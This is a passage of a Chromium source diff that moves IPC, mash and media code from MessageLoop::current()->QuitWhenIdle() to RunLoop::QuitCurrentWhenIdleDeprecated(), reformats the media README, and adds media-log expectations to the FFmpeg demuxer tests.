+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void BindRequest(IPC::mojom::SimpleTestDriverAssociatedRequest request) {
@@ -1225,7 +1225,7 @@
     EXPECT_EQ(expected_values_->front(), should_be_expected);
     expected_values_->pop();
     if (expected_values_->empty())
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     return true;
   }
 
@@ -1314,7 +1314,7 @@
   }
 
   void OnChannelError() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void set_sender(IPC::Sender* sender) { sender_ = sender; }
@@ -1370,7 +1370,7 @@
   }
 
   void OnChannelError() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void set_sender(IPC::Sender* sender) { sender_ = sender; }
@@ -1422,7 +1422,7 @@
  public:
   void OnChannelConnected(int32_t peer_pid) override {
     EXPECT_EQ(peer_pid, kMagicChildId);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool OnMessageReceived(const IPC::Message& message) override {
diff --git a/ipc/ipc_channel_proxy_unittest.cc b/ipc/ipc_channel_proxy_unittest.cc
index 01b8955..ba3be18b 100644
--- a/ipc/ipc_channel_proxy_unittest.cc
+++ b/ipc/ipc_channel_proxy_unittest.cc
@@ -65,9 +65,7 @@
     bad_message_received_ = true;
   }
 
-  void OnQuit() {
-    base::MessageLoop::current()->QuitWhenIdle();
-  }
+  void OnQuit() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   void OnBadMessage(const BadType& bad_type) {
     // Should never be called since IPC wouldn't be deserialized correctly.
@@ -113,7 +111,7 @@
 
   void OnQuit() {
     channel_->Send(new WorkerMsg_Quit());
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/ipc/ipc_fuzzing_tests.cc b/ipc/ipc_fuzzing_tests.cc
index 5744135..75c13b1 100644
--- a/ipc/ipc_fuzzing_tests.cc
+++ b/ipc/ipc_fuzzing_tests.cc
@@ -10,7 +10,6 @@
 #include <sstream>
 #include <string>
 
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/string16.h"
 #include "base/strings/utf_string_conversions.h"
@@ -202,7 +201,7 @@
     --message_count_;
     --pending_messages_;
     if (0 == message_count_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void ReplyMsgNotHandled(uint32_t type_id) {
@@ -229,7 +228,7 @@
 
   bool OnMessageReceived(const IPC::Message& msg) override {
     last_msg_ = new IPC::Message(msg);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     return true;
   }
 
diff --git a/ipc/ipc_mojo_perftest.cc b/ipc/ipc_mojo_perftest.cc
index 6f11a772..366e5f8b 100644
--- a/ipc/ipc_mojo_perftest.cc
+++ b/ipc/ipc_mojo_perftest.cc
@@ -99,7 +99,7 @@
         DCHECK_EQ(response, payload_);
       }
       perf_logger_.reset();
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     } else {
       SendPong();
     }
@@ -113,7 +113,7 @@
     count_down_--;
     if (count_down_ == 0) {
       perf_logger_.reset();  // Stop the perf timer now.
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       return;
     }
 
@@ -173,7 +173,7 @@
     *response = payload;
   }
 
-  void OnQuit() { base::MessageLoop::current()->QuitWhenIdle(); }
+  void OnQuit() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   void Send(IPC::Message* message) { channel_->Send(message); }
 
@@ -406,7 +406,7 @@
     std::move(callback).Run(value);
   }
 
-  void Quit() override { base::MessageLoop::current()->QuitWhenIdle(); }
+  void Quit() override { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   mojo::Binding<IPC::mojom::Reflector> binding_;
 };
@@ -453,7 +453,7 @@
       count_down_--;
       if (count_down_ == 0) {
         perf_logger_.reset();
-        base::MessageLoop::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
         return;
       }
     }
@@ -465,7 +465,7 @@
         DCHECK_EQ(response, payload_);
       }
       perf_logger_.reset();
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     } else {
       ping_receiver_->Ping(payload_, base::Bind(&MojoInterfacePerfTest::OnPong,
                                                 base::Unretained(this)));
@@ -624,7 +624,7 @@
       count_down_--;
       if (count_down_ == 0) {
         perf_logger_.reset();
-        base::MessageLoop::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
         return;
       }
     }
@@ -699,7 +699,7 @@
       count_down_--;
       if (count_down_ == 0) {
         perf_logger_.reset();
-        base::MessageLoop::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
         return;
       }
     }
diff --git a/ipc/ipc_send_fds_test.cc b/ipc/ipc_send_fds_test.cc
index 0b8a2798e..9eb50fb 100644
--- a/ipc/ipc_send_fds_test.cc
+++ b/ipc/ipc_send_fds_test.cc
@@ -2,7 +2,6 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "base/message_loop/message_loop.h"
 #include "build/build_config.h"
 
 #if defined(OS_POSIX)
@@ -83,7 +82,7 @@
   }
 
   void OnChannelError() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  protected:
@@ -106,7 +105,7 @@
 
     ++num_fds_received_;
     if (num_fds_received_ == kNumFDsToSend * kNumMessages)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/ipc/ipc_test_channel_listener.cc b/ipc/ipc_test_channel_listener.cc
index a755b42..611bfe8 100644
--- a/ipc/ipc_test_channel_listener.cc
+++ b/ipc/ipc_test_channel_listener.cc
@@ -4,7 +4,7 @@
 
 #include "ipc/ipc_test_channel_listener.h"
 
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "ipc/ipc_message.h"
 #include "ipc/ipc_sender.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -50,12 +50,12 @@
 void TestChannelListener::OnChannelError() {
   // There is a race when closing the channel so the last message may be lost.
   EXPECT_LE(messages_left_, 1);
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TestChannelListener::SendNextMessage() {
   if (--messages_left_ <= 0)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   else
     SendOneMessage(sender_, "Foo");
 }
diff --git a/ipc/sync_socket_unittest.cc b/ipc/sync_socket_unittest.cc
index e220281b..6fc55c4f 100644
--- a/ipc/sync_socket_unittest.cc
+++ b/ipc/sync_socket_unittest.cc
@@ -13,7 +13,6 @@
 #include "base/bind.h"
 #include "base/location.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread.h"
@@ -101,7 +100,7 @@
 
   // When the client responds, it sends back a shutdown message,
   // which causes the message loop to exit.
-  void OnMsgClassShutdown() { base::MessageLoop::current()->QuitWhenIdle(); }
+  void OnMsgClassShutdown() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   IPC::Channel* chan_;
 
@@ -154,7 +153,7 @@
     EXPECT_EQ(0U, socket_->Peek());
     IPC::Message* msg = new MsgClassShutdown();
     EXPECT_TRUE(chan_->Send(msg));
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   base::SyncSocket* socket_;
diff --git a/mash/catalog_viewer/catalog_viewer.cc b/mash/catalog_viewer/catalog_viewer.cc
index 353ff75..5439b05 100644
--- a/mash/catalog_viewer/catalog_viewer.cc
+++ b/mash/catalog_viewer/catalog_viewer.cc
@@ -11,7 +11,7 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/weak_ptr.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "mojo/public/cpp/bindings/binding.h"
 #include "services/catalog/public/interfaces/catalog.mojom.h"
@@ -218,7 +218,7 @@
   DCHECK(it != windows_.end());
   windows_.erase(it);
   if (windows_.empty())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void CatalogViewer::OnStart() {
diff --git a/mash/example/window_type_launcher/window_type_launcher.cc b/mash/example/window_type_launcher/window_type_launcher.cc
index 2494f8b..0a9f0be 100644
--- a/mash/example/window_type_launcher/window_type_launcher.cc
+++ b/mash/example/window_type_launcher/window_type_launcher.cc
@@ -8,7 +8,7 @@
 
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/threading/platform_thread.h"
@@ -449,7 +449,7 @@
   DCHECK(it != windows_.end());
   windows_.erase(it);
   if (windows_.empty())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void WindowTypeLauncher::OnStart() {
diff --git a/mash/quick_launch/quick_launch.cc b/mash/quick_launch/quick_launch.cc
index 2e502a7..2094f58 100644
--- a/mash/quick_launch/quick_launch.cc
+++ b/mash/quick_launch/quick_launch.cc
@@ -6,7 +6,6 @@
 
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/string16.h"
 #include "base/strings/string_util.h"
@@ -167,7 +166,7 @@
   DCHECK(it != windows_.end());
   windows_.erase(it);
   if (windows_.empty() && base::RunLoop::IsRunningOnCurrentThread())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void QuickLaunch::OnStart() {
diff --git a/mash/task_viewer/task_viewer.cc b/mash/task_viewer/task_viewer.cc
index 9a2cc28..ecd0527 100644
--- a/mash/task_viewer/task_viewer.cc
+++ b/mash/task_viewer/task_viewer.cc
@@ -11,8 +11,8 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/weak_ptr.h"
-#include "base/message_loop/message_loop.h"
 #include "base/process/process.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/utf_string_conversions.h"
 #include "mojo/public/cpp/bindings/binding.h"
@@ -292,7 +292,7 @@
   DCHECK(it != windows_.end());
   windows_.erase(it);
   if (windows_.empty())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TaskViewer::OnStart() {
diff --git a/media/README.md b/media/README.md
index f601eee..475ecca 100644
--- a/media/README.md
+++ b/media/README.md
@@ -17,11 +17,11 @@
 from within a sandboxed process.
 
 * base/ - Contains miscellaneous enums, utility classes, and shuttling
-primitives used throughout media/ and beyond; i.e. AudioBus, AudioCodec, and
-VideoFrame just to name a few. Can be used in any process.
+primitives used throughout `media/` and beyond; i.e. `AudioBus`, `AudioCodec`, and
+`VideoFrame` just to name a few. Can be used in any process.
 
-* blink/ - Code for interfacing with the Blink rendering engine for MediaStreams
-as well as <video> and <audio> playback. Used only in the same process as Blink;
+* blink/ - Code for interfacing with the Blink rendering engine for `MediaStreams`
+as well as `<video>` and `<audio>` playback. Used only in the same process as Blink;
 typically the render process.
 
 * capture/ - Contains content (as in the content layer) capturing and platform
@@ -98,55 +98,56 @@
 * [Media Source Extensions](https://www.w3.org/TR/media-source/)
 * [Encrypted Media Extensions](https://www.w3.org/TR/encrypted-media/)
 
-As a case study we'll consider the playback of a video through the <video> tag.
+As a case study we'll consider the playback of a video through the `<video>` tag.
 
-<video> (and <audio>) starts in blink::HTMLMediaElement in third_party/WebKit/
-and reaches media/blink in media::WebMediaPlayerImpl after a brief hop through
-content::MediaFactory. Each blink::HTMLMediaElement owns a
-media::WebMediaPlayerImpl for handling things like play, pause, seeks, and
-volume changes (among other things).
+`<video>` (and `<audio>`) starts in `blink::HTMLMediaElement` in
+third_party/WebKit/ and reaches media/blink in `media::WebMediaPlayerImpl`
+after a brief hop through `content::MediaFactory`. Each
+`blink::HTMLMediaElement` owns a `media::WebMediaPlayerImpl` for handling
+things like play, pause, seeks, and volume changes (among other things).
 
-media::WebMediaPlayerImpl handles or delegates media loading over the network as
-well as demuxer and pipeline initialization. media::WebMediaPlayerImpl owns a
-media::PipelineController which manages the coordination of a media::DataSource,
-media::Demuxer, and media::Renderer during playback.
+`media::WebMediaPlayerImpl` handles or delegates media loading over the network
+as well as demuxer and pipeline initialization. `media::WebMediaPlayerImpl`
+owns a `media::PipelineController` which manages the coordination of a
+`media::DataSource`, `media::Demuxer`, and `media::Renderer` during playback.
 
-During a normal playback, the media::Demuxer owned by WebMediaPlayerImpl may be
-either media::FFmpegDemuxer or media::ChunkDemuxer. The ffmpeg variant is used
-for standard src= playback where WebMediaPlayerImpl is responsible for loading
-bytes over the network. media::ChunkDemuxer is used with Media Source Extensions
-(MSE), where JavaScript code provides the muxed bytes.
+During a normal playback, the `media::Demuxer` owned by WebMediaPlayerImpl may
+be either `media::FFmpegDemuxer` or `media::ChunkDemuxer`. The ffmpeg variant
+is used for standard src= playback where WebMediaPlayerImpl is responsible for
+loading bytes over the network. `media::ChunkDemuxer` is used with Media Source
+Extensions (MSE), where JavaScript code provides the muxed bytes.
 
-The media::Renderer is typically media::RendererImpl which owns and coordinates
-media::AudioRenderer and media::VideoRenderer instances. Each of these in turn
-own a set of media::AudioDecoder and media::VideoDecoder implementations. Each
-issues an async read to a media::DemuxerStream exposed by the media::Demuxer
-which is routed to the right decoder by media::DecoderStream. Decoding is again
-async, so decoded frames are delivered at some later time to each renderer.
+The media::Renderer is typically `media::RendererImpl` which owns and
+coordinates `media::AudioRenderer` and `media::VideoRenderer` instances. Each
+of these in turn own a set of `media::AudioDecoder` and `media::VideoDecoder`
+implementations. Each issues an async read to a `media::DemuxerStream` exposed
+by the `media::Demuxer` which is routed to the right decoder by
+`media::DecoderStream`. Decoding is again async, so decoded frames are
+delivered at some later time to each renderer.
 
 The media/ library contains hardware decoder implementations in media/gpu for
 all supported Chromium platforms, as well as software decoding implementations
 in media/filters backed by FFmpeg and libvpx. Decoders are attempted in the
-order provided via the media::RendererFactory; the first one which reports
+order provided via the `media::RendererFactory`; the first one which reports
 success will be used for playback (typically the hardware decoder for video).
 
 Each renderer manages timing and rendering of audio and video via the event-
-driven media::AudioRendererSink and media::VideoRendererSink interfaces
+driven `media::AudioRendererSink` and `media::VideoRendererSink` interfaces
 respectively. These interfaces both accept a callback that they will issue
 periodically when new audio or video frames are required.
 
-On the audio side, again in the normal case, the media::AudioRendererSink is
-driven via a base::SyncSocket and shared memory segment owned by the browser
+On the audio side, again in the normal case, the `media::AudioRendererSink` is
+driven via a `base::SyncSocket` and shared memory segment owned by the browser
 process. This socket is ticked periodically by a platform level implementation
-of media::AudioOutputStream within media/audio.
+of `media::AudioOutputStream` within media/audio.
 
-On the video side, the media::VideoRendererSink is drive by vsync callbacks
-issued by the compositor to media::VideoFrameCompositor. The
-media::VideoRenderer will talk to the media::AudioRenderer through a
-media::TimeSource for coordinating audio and video sync.
+On the video side, the `media::VideoRendererSink` is driven by async callbacks
+issued by the compositor to `media::VideoFrameCompositor`. The
+`media::VideoRenderer` will talk to the `media::AudioRenderer` through a
+`media::TimeSource` for coordinating audio and video sync.
 
 With that we've covered the basic flow of a typical playback. When debugging
 issues, it's helpful to review the internal logs at chrome://media-internals.
-The internals page contains information about active media::WebMediaPlayerImpl,
-media::AudioInputController, media::AudioOutputController, and
-media::AudioOutputStream instances.
+The internals page contains information about active
+`media::WebMediaPlayerImpl`, `media::AudioInputController`,
+`media::AudioOutputController`, and `media::AudioOutputStream` instances.
diff --git a/media/base/serial_runner_unittest.cc b/media/base/serial_runner_unittest.cc
index 800046a6..5d71e89f 100644
--- a/media/base/serial_runner_unittest.cc
+++ b/media/base/serial_runner_unittest.cc
@@ -115,7 +115,6 @@
 
     done_called_ = true;
     done_status_ = status;
-    message_loop_.QuitWhenIdle();
   }
 
   void CancelSerialRunner(const PipelineStatusCB& status_cb) {
diff --git a/media/base/test_helpers.h b/media/base/test_helpers.h
index 3c80e93..997e97c 100644
--- a/media/base/test_helpers.h
+++ b/media/base/test_helpers.h
@@ -215,8 +215,7 @@
 
 MATCHER_P(FoundStream, stream_type_string, "") {
   return CONTAINS_STRING(
-             arg, "found_" + std::string(stream_type_string) + "_stream") &&
-         CONTAINS_STRING(arg, "true");
+      arg, "found_" + std::string(stream_type_string) + "_stream\":true");
 }
 
 MATCHER_P2(CodecName, stream_type_string, codec_string, "") {
diff --git a/media/blink/resource_multibuffer_data_provider.cc b/media/blink/resource_multibuffer_data_provider.cc
index 839af73..a1a6521 100644
--- a/media/blink/resource_multibuffer_data_provider.cc
+++ b/media/blink/resource_multibuffer_data_provider.cc
@@ -471,8 +471,7 @@
 }
 
 void ResourceMultiBufferDataProvider::DidFail(const WebURLError& error) {
-  DVLOG(1) << "didFail: reason=" << error.reason
-           << ", domain=" << error.domain.Utf8().data()
+  DVLOG(1) << "didFail: reason=" << error.reason << ", domain=" << error.domain
            << ", localizedDescription="
            << error.localized_description.Utf8().data();
   DCHECK(active_loader_.get());
diff --git a/media/blink/test_response_generator.cc b/media/blink/test_response_generator.cc
index 60ee400..9e29a694 100644
--- a/media/blink/test_response_generator.cc
+++ b/media/blink/test_response_generator.cc
@@ -23,7 +23,7 @@
 WebURLError TestResponseGenerator::GenerateError() {
   WebURLError error;
   error.reason = net::ERR_ABORTED;
-  error.domain = WebString::FromUTF8(net::kErrorDomain);
+  error.domain = WebURLError::Domain::kNet;
   return error;
 }
 
diff --git a/media/blink/webmediaplayer_impl.cc b/media/blink/webmediaplayer_impl.cc
index 52410d7..2cb015c 100644
--- a/media/blink/webmediaplayer_impl.cc
+++ b/media/blink/webmediaplayer_impl.cc
@@ -1863,6 +1863,12 @@
     return;
   }
 
+  // For encrypted video on pre-M, we pretend that the decoder doesn't require a
+  // restart.  This is because it needs an overlay all the time anyway.  We'll
+  // switch into |force_video_overlays_| mode below.
+  if (overlay_mode_ == OverlayMode::kUseAndroidOverlay && is_encrypted_)
+    decoder_requires_restart_for_overlay = false;
+
   // If we get a surface request it means GpuVideoDecoder is initializing, so
   // until we get a null surface request, GVD is the active decoder.
   //
diff --git a/media/cast/test/sender.cc b/media/cast/test/sender.cc
index 307034e4..8b48f8e 100644
--- a/media/cast/test/sender.cc
+++ b/media/cast/test/sender.cc
@@ -80,7 +80,7 @@
 void QuitLoopOnInitializationResult(media::cast::OperationalStatus result) {
   CHECK(result == media::cast::STATUS_INITIALIZED)
       << "Cast sender uninitialized";
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 net::IPEndPoint CreateUDPAddress(const std::string& ip_str, uint16_t port) {
diff --git a/media/filters/ffmpeg_demuxer.cc b/media/filters/ffmpeg_demuxer.cc
index bd50212..e8088fb7 100644
--- a/media/filters/ffmpeg_demuxer.cc
+++ b/media/filters/ffmpeg_demuxer.cc
@@ -242,8 +242,9 @@
     // IsValidConfig internally and return a null scoped_ptr if not valid.
     if (!AVStreamToAudioDecoderConfig(stream, audio_config.get()) ||
         !audio_config->IsValidConfig()) {
-      MEDIA_LOG(ERROR, media_log)
-          << "FFmpegDemuxer: failed creating audio stream";
+      MEDIA_LOG(DEBUG, media_log) << "Warning, FFmpegDemuxer failed to create "
+                                     "a valid audio decoder configuration from "
+                                     "muxed stream";
       return nullptr;
     }
 
@@ -259,8 +260,9 @@
     // IsValidConfig internally and return a null scoped_ptr if not valid.
     if (!AVStreamToVideoDecoderConfig(stream, video_config.get()) ||
         !video_config->IsValidConfig()) {
-      MEDIA_LOG(ERROR, media_log)
-          << "FFmpegDemuxer: failed creating video stream";
+      MEDIA_LOG(DEBUG, media_log) << "Warning, FFmpegDemuxer failed to create "
+                                     "a valid video decoder configuration from "
+                                     "muxed stream";
       return nullptr;
     }
 
diff --git a/media/filters/ffmpeg_demuxer_unittest.cc b/media/filters/ffmpeg_demuxer_unittest.cc
index 06fbec5..901fba0 100644
--- a/media/filters/ffmpeg_demuxer_unittest.cc
+++ b/media/filters/ffmpeg_demuxer_unittest.cc
@@ -26,6 +26,7 @@
 #include "media/base/media_log.h"
 #include "media/base/media_tracks.h"
 #include "media/base/mock_demuxer_host.h"
+#include "media/base/mock_media_log.h"
 #include "media/base/test_helpers.h"
 #include "media/base/timestamp_constants.h"
 #include "media/ffmpeg/ffmpeg_common.h"
@@ -55,6 +56,27 @@
   return arg->end_of_stream();
 }
 
+// This does not verify any of the codec parameters that may be included in the
+// log entry.
+MATCHER_P(SimpleCreatedFFmpegDemuxerStream, stream_type, "") {
+  return CONTAINS_STRING(arg, "\"info\":\"FFmpegDemuxer: created " +
+                                  std::string(stream_type) +
+                                  " stream, config codec:");
+}
+
+MATCHER_P(FailedToCreateValidDecoderConfigFromStream, stream_type, "") {
+  return CONTAINS_STRING(
+      arg, "\"debug\":\"Warning, FFmpegDemuxer failed to create a valid " +
+               std::string(stream_type) +
+               " decoder configuration from muxed stream");
+}
+
+MATCHER_P(SkippingUnsupportedStream, stream_type, "") {
+  return CONTAINS_STRING(
+      arg, "\"info\":\"FFmpegDemuxer: skipping invalid or unsupported " +
+               std::string(stream_type) + " track");
+}
+
 namespace {
 void OnStreamStatusChanged(base::WaitableEvent* event,
                            DemuxerStream* stream,
@@ -128,22 +150,14 @@
     data_source_.reset();
   }
 
+  // TODO(wolenetz): Combine with CreateDemuxer() and expand coverage of all of
+  // these tests to use strict media log. See https://crbug.com/749178.
+  void CreateDemuxerWithStrictMediaLog(const std::string& name) {
+    CreateDemuxerInternal(name, &media_log_);
+  }
+
   void CreateDemuxer(const std::string& name) {
-    CHECK(!demuxer_);
-
-    EXPECT_CALL(host_, OnBufferedTimeRangesChanged(_)).Times(AnyNumber());
-
-    CreateDataSource(name);
-
-    Demuxer::EncryptedMediaInitDataCB encrypted_media_init_data_cb = base::Bind(
-        &FFmpegDemuxerTest::OnEncryptedMediaInitData, base::Unretained(this));
-
-    Demuxer::MediaTracksUpdatedCB tracks_updated_cb = base::Bind(
-        &FFmpegDemuxerTest::OnMediaTracksUpdated, base::Unretained(this));
-
-    demuxer_.reset(new FFmpegDemuxer(
-        base::ThreadTaskRunnerHandle::Get(), data_source_.get(),
-        encrypted_media_init_data_cb, tracks_updated_cb, &media_log_));
+    CreateDemuxerInternal(name, &dummy_media_log_);
   }
 
   DemuxerStream* GetStream(DemuxerStream::Type type) {
@@ -281,7 +295,13 @@
   // Fixture members.
 
   base::test::ScopedTaskScheduler task_scheduler_;
-  MediaLog media_log_;
+
+  // TODO(wolenetz): Consider expanding MediaLog verification coverage here
+  // using StrictMock<MockMediaLog> for all FFmpegDemuxerTests. See
+  // https://crbug.com/749178.
+  StrictMock<MockMediaLog> media_log_;
+  MediaLog dummy_media_log_;
+
   std::unique_ptr<FileDataSource> data_source_;
   std::unique_ptr<FFmpegDemuxer> demuxer_;
   StrictMock<MockDemuxerHost> host_;
@@ -313,6 +333,24 @@
   }
 
  private:
+  void CreateDemuxerInternal(const std::string& name, MediaLog* media_log) {
+    CHECK(!demuxer_);
+
+    EXPECT_CALL(host_, OnBufferedTimeRangesChanged(_)).Times(AnyNumber());
+
+    CreateDataSource(name);
+
+    Demuxer::EncryptedMediaInitDataCB encrypted_media_init_data_cb = base::Bind(
+        &FFmpegDemuxerTest::OnEncryptedMediaInitData, base::Unretained(this));
+
+    Demuxer::MediaTracksUpdatedCB tracks_updated_cb = base::Bind(
+        &FFmpegDemuxerTest::OnMediaTracksUpdated, base::Unretained(this));
+
+    demuxer_.reset(new FFmpegDemuxer(
+        base::ThreadTaskRunnerHandle::Get(), data_source_.get(),
+        encrypted_media_init_data_cb, tracks_updated_cb, media_log));
+  }
+
   void CreateDataSource(const std::string& name) {
     CHECK(!data_source_);
 
@@ -1167,7 +1205,15 @@
 // will hand us a video stream to the data which will likely be in a format we
 // don't accept as video; e.g. PNG.
 TEST_F(FFmpegDemuxerTest, Mp3WithVideoStreamID3TagData) {
-  CreateDemuxer("id3_png_test.mp3");
+  CreateDemuxerWithStrictMediaLog("id3_png_test.mp3");
+
+  EXPECT_MEDIA_LOG(SimpleCreatedFFmpegDemuxerStream("audio"));
+  EXPECT_MEDIA_LOG(FailedToCreateValidDecoderConfigFromStream("video"));
+
+  // TODO(wolenetz): Use a matcher that verifies more of the event parameters
+  // than FoundStream. See https://crbug.com/749178.
+  EXPECT_MEDIA_LOG(FoundStream("audio"));
+  EXPECT_MEDIA_LOG(SkippingUnsupportedStream("video"));
   InitializeDemuxer();
 
   // Ensure the expected streams are present.
@@ -1179,7 +1225,15 @@
 // Ensure a video with an unsupported audio track still results in the video
 // stream being demuxed.
 TEST_F(FFmpegDemuxerTest, UnsupportedAudioSupportedVideoDemux) {
-  CreateDemuxer("speex_audio_vorbis_video.ogv");
+  CreateDemuxerWithStrictMediaLog("speex_audio_vorbis_video.ogv");
+
+  EXPECT_MEDIA_LOG(SimpleCreatedFFmpegDemuxerStream("video"));
+  EXPECT_MEDIA_LOG(FailedToCreateValidDecoderConfigFromStream("audio"));
+  EXPECT_MEDIA_LOG(SkippingUnsupportedStream("audio"));
+
+  // TODO(wolenetz): Use a matcher that verifies more of the event parameters
+  // than FoundStream. See https://crbug.com/749178.
+  EXPECT_MEDIA_LOG(FoundStream("video"));
   InitializeDemuxer();
 
   // Ensure the expected streams are present.
diff --git a/media/gpu/android_video_decode_accelerator.cc b/media/gpu/android_video_decode_accelerator.cc
index f22e5e7..0757e00 100644
--- a/media/gpu/android_video_decode_accelerator.cc
+++ b/media/gpu/android_video_decode_accelerator.cc
@@ -384,7 +384,7 @@
     return;
   }
 
-  chooser_state_.is_fullscreen = config_.overlay_info.is_fullscreen;
+  surface_chooser_state_.is_fullscreen = config_.overlay_info.is_fullscreen;
 
   // Handle the sync path, which must use SurfaceTexture anyway.  Note that we
   // check both |during_initialize_| and |deferred_initialization_pending_|,
@@ -430,7 +430,7 @@
                  weak_this_factory_.GetWeakPtr()),
       base::Bind(&AndroidVideoDecodeAccelerator::OnSurfaceTransition,
                  weak_this_factory_.GetWeakPtr(), nullptr),
-      std::move(factory), chooser_state_);
+      std::move(factory), surface_chooser_state_);
 }
 
 void AndroidVideoDecodeAccelerator::OnSurfaceTransition(
@@ -1274,10 +1274,10 @@
   if (overlay_info.is_frame_hidden)
     picture_buffer_manager_.ImmediatelyForgetOverlay(output_picture_buffers_);
 
-  chooser_state_.is_frame_hidden = overlay_info.is_frame_hidden;
+  surface_chooser_state_.is_frame_hidden = overlay_info.is_frame_hidden;
 
   // Notify the chooser about the fullscreen state.
-  chooser_state_.is_fullscreen = overlay_info.is_fullscreen;
+  surface_chooser_state_.is_fullscreen = overlay_info.is_fullscreen;
 
   // Note that these might be kNoSurfaceID / empty.  In that case, we will
   // revoke the factory.
@@ -1296,7 +1296,7 @@
       new_factory = base::Bind(&ContentVideoViewOverlay::Create, surface_id);
   }
 
-  surface_chooser_->UpdateState(new_factory, chooser_state_);
+  surface_chooser_->UpdateState(new_factory, surface_chooser_state_);
 }
 
 void AndroidVideoDecodeAccelerator::Destroy() {
@@ -1485,7 +1485,10 @@
 
   codec_config_->media_crypto = std::move(media_crypto);
   codec_config_->requires_secure_codec = requires_secure_video_codec;
-  chooser_state_.is_secure = requires_secure_video_codec;
+  // Require a secure surface in all cases, even if we don't require a secure
+  // video codec.  This will send L3 content to a secure surface, if one is
+  // available, as well as L1.
+  surface_chooser_state_.is_secure = true;
 
   // After receiving |media_crypto_| we can start with surface creation.
   StartSurfaceChooser();
@@ -1562,10 +1565,10 @@
     const PromotionHintAggregator::Hint& hint) {
   promotion_hint_aggregator_->NotifyPromotionHint(hint);
   bool promotable = promotion_hint_aggregator_->IsSafeToPromote();
-  if (promotable != chooser_state_.is_compositor_promotable) {
-    chooser_state_.is_compositor_promotable = promotable;
+  if (promotable != surface_chooser_state_.is_compositor_promotable) {
+    surface_chooser_state_.is_compositor_promotable = promotable;
     surface_chooser_->UpdateState(base::Optional<AndroidOverlayFactoryCB>(),
-                                  chooser_state_);
+                                  surface_chooser_state_);
   }
 }
 
diff --git a/media/gpu/android_video_decode_accelerator.h b/media/gpu/android_video_decode_accelerator.h
index f01ea5ab..b03473b 100644
--- a/media/gpu/android_video_decode_accelerator.h
+++ b/media/gpu/android_video_decode_accelerator.h
@@ -392,7 +392,7 @@
 
   bool force_defer_surface_creation_for_testing_;
 
-  AndroidVideoSurfaceChooser::State chooser_state_;
+  AndroidVideoSurfaceChooser::State surface_chooser_state_;
 
   // Optional factory to produce mojo AndroidOverlay instances.
   AndroidOverlayMojoFactoryCB overlay_factory_cb_;
diff --git a/media/gpu/android_video_surface_chooser_impl.cc b/media/gpu/android_video_surface_chooser_impl.cc
index 8266e208..3e66239 100644
--- a/media/gpu/android_video_surface_chooser_impl.cc
